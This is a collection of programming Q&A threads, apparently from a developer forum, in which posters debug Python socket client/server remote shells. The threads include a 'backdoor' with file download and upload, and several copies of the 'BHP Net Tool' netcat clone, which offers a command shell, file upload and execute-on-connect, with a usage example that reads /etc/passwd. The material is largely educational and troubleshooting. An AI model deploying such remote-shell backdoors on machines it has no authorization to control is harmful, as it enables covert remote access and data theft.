I am trying to remotely change the cwd via socket lib on existing client, but I am running into the trouble every time I send the actual command "cd ..".
Server:
import socket, subprocess, os, sys
s = socket.socket()
host = socket.gethostname()
ip = socket.gethostbyname(host)
port = 8080
s.bind((ip,port))
s.listen(5)
c, a = s.accept()
fr = c.recv(10000)
cwd = fr
print("IP: "+str(a[0])+":"+str(a[1])+"\tCONNECTED")
while True:
cmd = raw_input("\n"+cwd+"> ")
if cmd != "":
c.sendall(cmd)
data = c.recv(1024)
print("\n"+data)
if cmd == "cd ..":
c.sendall(cmd)
cwd = c.recv(1024)
Client:
import socket, subprocess, os, sys
i = 1
cwd = os.getcwd()
while 1:
s = socket.socket()
host = socket.gethostname()
ip = socket.gethostbyname(host)
port = 8080
try:
s.settimeout(5)
s.connect((ip,port))
s.settimeout(None)
s.sendall(cwd)
i = 1
while i == 1:
cmd = s.recv(10000)
if cmd != "over":
sp = subprocess.Popen(cmd, shell=True, cwd=cwd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
out = sp.stdout.read()+"_________________________________"
msg = out + sp.stderr.read()
s.sendall(msg)
if cmd == "over":
s.close()
i = 0
if cmd == "cd ..":
j = 0
k = 0
for i in cwd:
if i == '/':
k = j
j = j + 1
cd = cwd[0:k]
subprocess.Popen('echo', shell=True, cwd=cd)
s.sendall(cd)
print(cd)
except socket.error:
continue
Here is the error I get:
Traceback (most recent call last):
File "PycharmProjects/server-client/test_hq.py", line 25, in <module>
c.sendall(cmd)
File "/usr/lib/python2.7/socket.py", line 228, in meth
return getattr(self._sock,name)(*args)
socket.error: [Errno 104] Connection reset by peer
I can't figure it out what seems to be the problem...
This should be closer to what you want, it is a lot simpler to receive and send once instead of repeatedly sending and receiving the same commands:
Client.py:
import socket, subprocess, os, sys
cwd = os.getcwd()
def make_socket():
s = socket.socket()
host = socket.gethostname()
ip = socket.gethostbyname(host)
port = 8080
s.settimeout(5)
s.connect((ip, port))
s.settimeout(None)
s.sendall(cwd)
return s
while True:
s = make_socket()
try:
while True:
cmd = s.recv(10000)
if cmd == "cd ..":
# os.chdir("..") # uncomment to actually change directory
cd = cwd.rsplit(os.sep(), 1)[0]
subprocess.Popen('echo', shell=True, cwd=cd)
s.sendall(cd)
elif cmd != "over":
sp = subprocess.Popen(cmd, shell=True, cwd=cwd, stdout=subprocess.PIPE, stderr=subprocess.PIPE,
stdin=subprocess.PIPE)
out = sp.stdout.read() + "_________________________________"
msg = out + sp.stderr.read()
s.sendall(msg)
else:
print("closed")
s.close()
sys.exit(0)
except socket.error as e:
print(e)
break
server.py:
import socket, subprocess, os, sys
s = socket.socket()
host = socket.gethostname()
ip = socket.gethostbyname(host)
port = 8080
s.bind((ip,port))
s.listen(5)
c, a = s.accept()
fr = c.recv(10000)
cwd = fr
print("IP: "+str(a[0])+":"+str(a[1])+"\tCONNECTED")
while True:
cmd = raw_input("\n"+cwd+"> ")
if cmd == "cd ..":
print("sending 2")
c.sendall(cmd)
# os.chdir("..") # uncomment to change dir
cwd = c.recv(10000)
elif cmd != "":
print("sending 1")
c.sendall(cmd)
data = c.recv(10000)
print("\n"+data)
If you want to handle the client closing the socket and sys.exit(0) on the server side you should catch a socket.error on the server side to avoid a broken pipe error.
try:
while True:
print(os.getcwd(),44444)
cmd = raw_input("\n"+cwd+"> ")
if cmd != "" and cmd != "cd ..":
print("sending 1")
c.sendall(cmd)
data = c.recv(10000)
print("\n"+data)
if cmd == "cd ..":
print("sending 2")
c.sendall(cmd)
# os.chdir("..") # uncomment to change dir
cwd = c.recv(10000)
except socket.error as e:
print("Exception caught for {}".format(e.strerror))
If you want to do different things based on the errno you can compare in the except:
if e.errno == errno.EPIPE: i.e Broken pipe etc..
All the errno's are listed here in the errno docs
Considering the comment, this might help with your cd issues:
import re
import os.path
# Other stuff
m = re.match(r'cd(?:\s+|$)(.*)', cmd)
if m:
dirs = m.groups()
# Default to cd is home directory
if len(dirs) == 0 or len(dirs[0]) == 0:
dir = os.environ['HOME']
else:
dir = dirs[0]
if dir == '..':
head, tail = os.path.split(cwd)
dir = head
subprocess.Popen('echo', shell=True, cwd=dir)
s.sendall(dir)
# Update cwd
cwd = dir
print(dir)
else:
# Some other command
Related
I study information security and study about college in the backdoor for a job
I made a function that downloads the file from the other pc, but the error is that when I download the file it returns like this[enter image description here script erro
Servidor
import socket
import base64
def shell():
while True:
command = f'{input("Root: ")}'
target.send(command.encode("UTF-8"))
if command == "Q":
break
elif command[:2] == "cd" and len(command) > 1:
continue
elif command[:8] == "download":
with open(command[9:] ,'wb') as file:
file_data = target.recv(10000)
file.write(base64.b64decode(file_data + b'=='))
elif command[:6] == "upload":
try:
with open(command[7:] ,'rb') as file:
target.send(base64.b64encode(file.read()))
except:
failed = "Failed to upload"
target.send(base64.b64encode(failed))
else:
result = target.recv(1024)
print(result.decode("ISO-8859-1"))
def server():
global target
global s
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
s.bind(("127.0.0.1", 8081))
s.listen(5)
print('Servidor está listando....')
target,ip = s.accept()
print(f'Conexão estabilizada a partir de: {str(ip)}')
server()
shell()
s.close()
Client
import socket
import subprocess
import os
import base64
from time import sleep
def shell():
while True:
command = s.recv(1024).decode("UTF-8")
if command== 'Q':
break
elif command[:2] == 'cd' and len(command) > 1:
try:
os.chdir(command[3:])
except:
continue
elif command[:8] == 'download':
f = open(command[9:], 'wb')
sleep(2)
chunk = s.recv(1024)
while chunk:
f.write(chunk)
try:
chunk = s.recv(1024)
except socket.timeout as e:
break
sleep(1)
f.close()
elif command[:6] == 'upload':
with open(command[7:] ,'wb') as file:
file_data = s.recv(1024)
file.write(base64.b64decode(file_data))
else:
proc = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
result = proc.stdout.read() + proc.stderr.read()
s.send(result)
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("127.0.0.1",8081))
shell()
s.close()
This question is a follow-up of this topic.
The OP was very likely encountering "Connection Refused". I'm facing it now with the same
code:
#!/usr/bin/env python3
import sys, socket, subprocess, threading, getopt
listen = False
upload = False
command = False
execute = ''
target = ''
upload_dest = ''
port = 0
USAGE = '''
BHP Net Tool
Usage: bhpnet.py -t target_host -p port
-l --listen - listen on [host]:[port] for incoming
connections
-e --execute=file_to_run - execute the given file upon receiving
a connection
-c --command - initialize a command shell
-u --upload=destination - upon receiving connection upload a file
and write to [destination]
Examples:
bhpnet.py -t 192.168.0.1 -p 5555 -l -c
bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe
bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\"
echo "ABCDEF" | ./bhpnet.py -t 192.168.11.12 -p 135
'''
def usage():
print(USAGE)
sys.exit(0)
def main():
global listen
global port
global execute
global command
global upload_dest
global target
if not len(sys.argv[1:]):
usage()
try:
opts, args = getopt.getopt(sys.argv[1:], 'hle:t:p:cu:',['help','listen',
'execute','target','port','command','upload'])
except getopt.GetoptError as err:
print(str(err))
usage()
for o, a in opts:
if o in ('-h', '--help'):
usage()
elif o in ('-l', '--listen'):
listen = True
elif o in ('-e', '--execute'):
execute = a
elif o in ('-c', '--commandshell'):
command = True
elif o in ('-u', '--upload'):
upload_dest = a
elif o in ('-t', '--target'):
target = a
elif o in ('-p', '--port'):
port = int(a)
else:
assert False, 'Unhandled Option'
if not listen and len(target) and port > 0:
buffer = sys.stdin.read()
client_sender(buffer)
if listen:
server_loop()
def client_sender(buffer):
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
client.connect((target, port))
if len(buffer):
client.send(buffer)
while True:
recv_len = 1
response = ''
while recv_len:
data = client.recv(4096)
recv_len = len(data)
response += data
if recv_len < 4096:
break
print(response)
buffer = input('')
buffer += '\n'
client.send(buffer)
except Exception as e:
print(e) # here it prints out "Connection Refused"
print('[*] Exception ! Exiting ...')
client.close()
def server_loop():
global target
if not len(target):
target = '0.0.0.0'
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((target, port))
server.listen(5)
while True:
client_socket, addr = server.accept()
client_thread = threading.Thread(target=client_handler, args=(client_socket,))
client_thread.start()
def run_command(command):
command = command.rstrip()
try:
output = subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True)
except:
output = 'Failed to execute command.\r\n'
return output
def client_handler(client_socket):
global upload
global execute
global command
if len(upload_dest):
file_buffer = ''
while True:
data = client_socket.recv(1024)
if not data:
break
else:
file_buffer += data
try:
with open(upload_dest, 'wb') as file_descriptor:
file_descriptor.write(file_buffer)
client_socket.send(b'Successfully saved file to {}.'.format(upload_dest))
except:
client_socket.send(b'Failed to save file to {}'.format(upload_dest))
if len(execute):
output = run_command(execute)
client_socket.send(output)
if command:
while True:
client_socket.send(b'<BHP:#> ')
cmd_buffer = ''
while '\n' not in cmd_buffer:
cmd_buffer += client_socket.recv(1024)
response = run_command(cmd_buffer)
client_socket.send(response)
main()
I'd like to ask more experienced network professsional why it could possibly throw "Connection Refused" if the port 9999 is open and firewall isn't blocking it ?
Running it like this:
server-side: ./netcat_repl.py -l -p 9999 -c
client-side: ./netcat_repl.py -t localhost -p 9999
I set up a python script to connect two computers with sockets and am trying to run commands from terminal. The script will hopefully run the commands on the host onto the client but it doesnt recognize any commands. My code for the server is
import socket
HOST = '0.0.0.0'
PORT = 12345
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server_socket.bind((HOST, PORT))
server_socket.listen(5)
print("\n[*] Listening on port " +str(PORT)+ ", waiting for connexions.")
client_socket, (client_ip, client_port) = server_socket.accept()
print("[*] Client " +client_ip+ " connected.\n")
while True:
try:
command = input(client_ip+ ">")
if(len(command.split()) != 0):
client_socket.send(bytes(command, 'utf-8'))
else:
continue
except(EOFError):
print("Invalid input, type 'help' to get a list of implemented commands.\n")
continue
if(command == "quit"):
break
data = client_socket.recv(1024)
print((data + b"\n"))
client_socket.close()
and the client is
import socket
import subprocess, os
HOST = ''
PORT = 12345
connexion_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connexion_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
connexion_socket.connect((HOST, PORT))
print('\n[*] Connected to " +HOST+ " "on port" +str(PORT+) ".\n"')
while True:
command = str(connexion_socket.recv(1024))
split_command = command.split()
print('Received command : ' +command)
if command == 'quit':
break
if(command.split()[0] == 'cd'):
if len(command.split()) == 1:
connexion_socket.send((os.getcwd()))
elif len(command.split()) == 2:
try:
os.chdir(command.split()[1])
connexion_socket.send(('Changed Directory to' + os.getcwd()))
except:
connexion_socket.send(str.encode('No such directory : ' +os.getcwd()))
else:
proc = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdout_value = proc.stdout.read() + proc.stderr.read()
print(str(stdout_value) + '\n')
if(stdout_value != ''):
connexion_socket.send(stdout_value)
else:
connexion_socket.send(command+ ' does not return anything')
Whenever I try to run a command like 'ipconfig' or 'cd' i get the error
"is not recognized as an internal or external command,\r\noperable program or batch file.\r\n\n"
Any help is appreciated, Thanks!
I am playing around with a little netcat tool of my own, but I keep getting "Connection refused" and a reference to a specific line, I've highlighted that below.
First I run the server, with the following command:
python Netstatx.py -l -p 9999 -c
Then I run the "client" which tries to make a connection to the server, which is listening on port 9999:
python Netstatx.py -t localhost -p 9999
As mentioned, the above gives me an "Connected refused"-exception, how come?
import sys
import socket
import getopt
import threading
import subprocess
# Define globals
listen = False
command = False
upload = False
execute = ""
target = ""
upload_destination = ""
port = 0
def usage():
print "Netstatx - Net Tool for your convenience"
print
print "Usage: Netstatx.py -t target_host -p port"
print "-l --listen - Listen on [host]:[port] for
incoming connections"
print "-e --execute=file_to_run - Execute the given file upon
receiving a connection"
print "-c --command - Initialize a command shell"
print "-u --upload=destination - Upon receiving connection,
upload a file and write to
[destination]"
print
print
print "Examples: "
print "Netstatx.py -t 192.168.0.1 -p 5555 -l -c"
print "Netstatx.py -t 192.168.0.1 -p 5555 -l -u=\\target.exe"
print "Netstatx.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\""
sys.exit(0)
def client_sender(buffer):
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "%s:%s" % (target, port)
# Connect to our target host
**client.connect((target, port))** <-- This is failing.
if len(buffer):
client.send(buffer)
while True:
# Now wait for data back
recv_len = 1
response = ""
while recv_len:
data = client.recv(4096)
recv_len = len(data)
response += data
if recv_len < 4096:
break
print response,
# Wait for more input
buffer = raw_input("")
buffer += "\n"
# Send it off
client.send(buffer)
def server_loop():
global target
# If no target is defined, we listen on all interfaces
if not len(target):
target = "0.0.0.0"
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((target, port))
server.listen(5)
while True:
client_socket, addr = server.accept()
# Spin off a thread to handle our new client
client_thread = threading.Thread(target=client_handler,
args=(client_socket,))
client_thread.start()
def main():
global listen
global port
global execute
global command
global upload_destination
global target
if not len(sys.argv[1:]):
usage()
# Read the commandline options
try:
opts, args = getopt.getopt(sys.argv[1:], "hle:t:p:cu:",
["help","listen","execute","target","port","command",
"upload"])
except getopt.GetoptError as err:
print str(err)
usage()
for o,a in opts:
if o in ("-h", "--help"):
usage()
elif o in ("-l", "--listen"):
listen = True
elif o in ("-e", "--execute"):
execute = a
elif o in ("-c", "--commandshell"):
command = True
elif o in ("-u", "--upload"):
upload_destination = a
elif o in ("-t", "--target"):
target = a
elif o in ("-p", "--port"):
port = int(a)
else:
assert False, "Unhandled option!"
# Are we going to listen or just send data?
# if not listen and len(target) and port > 0
# Read in the buffer from the commandline
# this will block, so send CTRL-D if not sending input
# to stdin
buffer = sys.stdin.read()
# Send data off
client_sender(buffer)
# We are going to listen and potentially
# upload things, execute commands, and drop a shell back
# depending on our command line options above
if listen:
server_loop()
main()
def run_command(command):
# trim the newline
command = command.rstrip()
# Run the command and get the output back
try:
output = subprocess.check_output(command,
stderr=subprocess.STDOUT, shell=True)
except:
output = "Failed to execute command. \r\n"
# Send the output back to the client return output
return output
def client_handler(client_socket):
global upload
global execute
global command
# Check for upload
if len(upload_destination):
# Read on all of the bytes and write to our destination
file_buffer = ""
# Keep reading data until none is available
while True:
data = client_socket.recv(1024)
if not data:
break
else:
file_buffer += data
# Now we take these bytes and try to write them out
try:
file_descriptor = open(upload_destination, "wb")
file_descriptor.write(file_buffer)
file_descriptor.close()
# Acknowledge that we rote the file out
client_socket.send("Successfully saved file to %s\r\n" %
upload_destination)
except:
client_socket.send("Failed to save file to %s\r\n" %
upload_destination)
# Check for command execution
if len(execute):
# Run the command
output = run_command(execute)
client_socket.send(output)
# Now we go into another loop if a command shell was requested
if command:
while True:
# Show a simple prompt
client_socket.send("<Netstatx:#> ")
# Now we receive until we see a linefeed (enter key)
cmd_buffer = ""
while "\n" not in cmd_buffer:
cmd_buffer += client_socket.recv(1024)
# Send back the command output
response = run_command(cmd_buffer)
# Send back the response
client_socket.send(response)
import sys
import socket
import getopt
import threading
import subprocess
#define some global variables
listen = False
command = False
upload = False
execute = ""
target = ""
upload_destination = ""
port = 0
def usage():
print "Net Tool"
print
print "Usage : netcat.py -t target_host -p port"
print "-l --listen -listen on [host]:[port] for incoming connections"
print "-e --execute=file_to_run -execute the given file upon receiving a connection "
print "-c --command -intialize a command shell"
print "-u --upload=destination -upon receiving connection upload a file and write to [destination]"
print
print
print "Examples : "
print "netcat.py -t 192.168.0.1 -p 5555 -l -c"
print "netcat.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe"
print "netcat.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\""
print "echo 'ABCDEEGHI' | ./netcat.py -t 192.168.11.12 -p 135"
sys.exit(0)
def run_command(command):
#trim the newline
command= command.rstrip()
#run the command get the output back
try:
output = subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True)
except:
output = "Failed to execute command.\r\n"
#send the output back to the client
return output
def client_handler(client_socket):
global upload
global execute
global command
#check for upload
if len(upload_destination):
#read in all of the bytes and write to our destination
file_buffer= ""
#keep reading data until none is available
while True:
data= client.socket.recv(1024)
if not data:
break
else:
file_buffer += data
#now we take these bytes and try to write them out
try:
file_descriptor=open(upload_destination,"wb")
file_descriptor.write(file_buffer)
file_descriptor.close()
#aknowledg that we wrote the file out
client_socket.send("Successfully saved file to %s \r\n" % upload_destination)
except:
client_socket.send("Failed to save file to %s \r\n" % upload_destination)
# check for command execution
if len(execute):
# run the command
output = run_command(execute)
client_socket.send(output)
# now we go into another loop if a command shell was requested
if command:
while True:
# show a simple prompt
client_socket.send("<BHP:#> ")
# now we receive until we see a linefeed (enter key)
cmd_buffer = ""
while "\n" not in cmd_buffer:
cmd_buffer += client_socket.recv(1024)
# send back the command output
response = run_command(cmd_buffer)
# send back the response
client_socket.send(response)
def client_sender(buffer):
client= socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
#connect to our target host
client.connect((target,port))
if len(buffer):
client.send(buffer)
while True:
#now wait for data back
recv_len=1
response=""
while recv_len:
data = client.recv(4096)
recv_len= len(data)
response+=data
if recv_len<4096:
break
print response,
#wait for more input
buffer = raw_input("")
buffer+= "\n"
# send it off
client.send(buffer)
except:
print "[*] Exception! Exiting."
client.close()
def server_loop():
global target
#if no target is defined , we listen on all interfaces
if not len(target):
target ="0.0.0.0"
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((target, port))
server.listen(5)
while True:
client_socket, addr = server.accept()
#spin off a thread to handl our new client
client_thread= threading.Thread(target=client_handler, args=(client_socket,))
client_thread.start()
def main():
global listen
global port
global execute
global command
global upload_destination
global target
if not len(sys.argv[1:]):
usage()
#read the commandline options
try:
opts, args = getopt.getopt(sys.argv[1:],"hle:t:p:cu",["help","listen","execute","target","port","command","upload"])
except getopt.GetoptError as err:
print str(err)
usage()
for o,a in opts:
if o in ("-h", "--help"):
usage()
elif o in ("-l","--listen"):
listen=True
elif o in ("-e", "--execute"):
execute =a
elif o in ("-c", "--commandshell"):
command= True
elif o in ("-u", "--upload"):
upload_destination = a
elif o in ("-t", "--target"):
target =a
elif o in ("-p", "--port"):
port=int(a)
else :
assert False, "unhandled option"
# are we going to listen or just send data from stdin?
if not listen and len(target) and port> 0 :
#read in the buffer from the cmdline
#this will block, so send CTRL-D if not sending input
#to stdin
buffer = sys.stdin.read()
client_sender(buffer)
#we are goin to listen and potentially
#upload things, execute commands, and drop a shell back
#depending on our command line options above
if listen :
server_loop()
main()
I found some syntax errors running out your script ( it may be just from copy past), any way i did my small edits and it's working (knowing i'm under linux)
Your problem may be the firewall is refusing connection on that port, try to check it out
I have a remote shell that does not work very well. When I run the command ls -l brings me a good result, but when I run the following command, ls -l runs again. i dont know which one my is error.
I use linux and python 2.7
server.py
import socket, shlex
import subprocess
PORT = 9999
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(('',PORT))
sock.listen(4)
sc, addr = sock.accept()
while True:
comando = sc.recv(255)
if comando == 'exit':
break
else:
print comando
if " " in comando:
comando = shlex.split(comando)
shell = subprocess.Popen(comando,bufsize=255, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, close_fds=True)
else:
shell = subprocess.Popen(comando, shell=True, bufsize=255,stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, close_fds=True)
stdout, stderr = shell.communicate()
if not stdout:
stdout = shell.stderr.read()
if len(stdout) == 0:
stdout = "[Comando ejecutado]"
sc.send(stdout)
sc.close()
sock.close()
client.py
import socket, sys, os
s = socket.socket()
s.connect(("localhost", 9999))
mensaje = ""
while mensaje != "exit":
mensaje = raw_input("Shell# ")
try:
s.send(mensaje)
resultado = s.recv(2048)
print resultado
except:
print "Hubo un error en la conexion..."
mensaje = "exit"
print "bye..."
s.close()
I guess the error is with popen and childs
A few comments:
don't use shell=True unless you have to
subprocess.check_output() is the easiest way to run a command, check if it fails or not, and get the output
when an error happens, print out the status code to help track down what's going on. Sometimes the command isn't being parsed correctly, ie a space in the filename.
source
import socket, shlex
import subprocess
PORT = 9999
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(('',PORT))
sock.listen(5)
sc, addr = sock.accept()
while True:
comando = sc.recv(255).rstrip()
print 'got:',comando
if not comando:
break
elif comando == 'exit':
break
comando = shlex.split(comando)
print comando
output = 'ERROR'
try:
output = subprocess.check_output(
comando,
stdin=subprocess.PIPE,
stderr=subprocess.PIPE,
shell=False,
)
except subprocess.CalledProcessError as err:
output = "[Comando ejecutado] status={}".format(err.returncode)
sc.send(output)
sc.close()
sock.close()